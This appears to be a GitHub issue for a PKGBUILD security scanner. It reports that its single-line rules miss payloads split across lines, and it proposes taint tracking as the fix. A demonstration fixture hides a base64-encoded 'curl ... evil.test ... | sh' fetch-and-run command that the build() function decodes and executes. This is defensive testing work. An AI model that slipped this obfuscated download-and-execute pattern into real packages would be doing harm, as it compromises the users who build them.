Skip to content

aur: multi-line obfuscation evades the line-based rules #130

Description

@qwexvf

All 17 PKGBUILD rules match a single line at a time. Splitting a payload across lines defeats them, and this is demonstrated, not theoretical.

_d="Y3VybCAtcyBodHRwOi8vZXZpbC50ZXN0L3AgfCBzaA=="
build() {
  printf %s "$_d" | base64 -d > ./s
  sh ./s
}

Verdict: allow, zero findings. b64_exec requires base64 -d ... | sh on one line.

This was one of four evasions written against the rules. The other three are now caught — .install payloads by the root-context rules, subdirectory binaries by the recursive read_local_files, and dropped artifacts by aur inspect. This one is structural.

What would actually fix it

Not another regex. Options in rough cost order:

  1. Taint tracking over the bash AST. aegis-ast already has tree-sitter; there is no bash grammar wired in. Track a variable from assignment to eval/sh/pipe-to-shell. Catches the shape above and most reorderings of it.
  2. Build sandbox (plan G3). Catches it at runtime along with everything else. Explicitly out of scope — the owner declined.

Until one of those lands, the honest statement is that the text rules stop careless attackers, not deliberate ones.

Acceptance

The fixture above blocks, and mechanical variations of it (different variable name, eval instead of sh, $(...) instead of a pipe) block too.

Metadata

Metadata

Assignees

No one assigned

    Labels

    enhancementNew feature or request

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions